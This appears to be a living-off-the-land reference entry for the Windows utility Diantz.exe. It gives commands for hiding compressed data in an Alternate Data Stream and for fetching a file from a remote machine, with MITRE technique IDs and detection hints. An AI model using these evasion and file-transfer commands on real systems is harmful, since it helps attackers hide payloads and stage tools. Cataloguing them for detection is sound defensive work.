.. / Diantz.exe
Star

Binary that package existing files into a cabinet (.cab) file


Paths:


Resources:
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diantz

Acknowledgement:
Tamir Yehuda - @tim8288
Hai Vaknin - @vakninhai


Detection:
diantz storing data into alternate data streams.
diantz getting a file from a remote machine or the internet.



Alternate data streams

Compress taget file into a cab file stored in the Alternate Data Stream (ADS) of the target file.
diantz.exe c:\pathToFile\file.exe c:\destinationFolder\targetFile.txt:targetFile.cab
Usecase:Hide data compressed into an Alternate Data Stream.
Privileges required:User
OS:Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
Mitre:T1096



Download

Download and compress a remote file and store it in a cab file on local machine.
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
Usecase:Download and compress into a cab file.
Privileges required:User
OS:Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1.
Mitre:T1105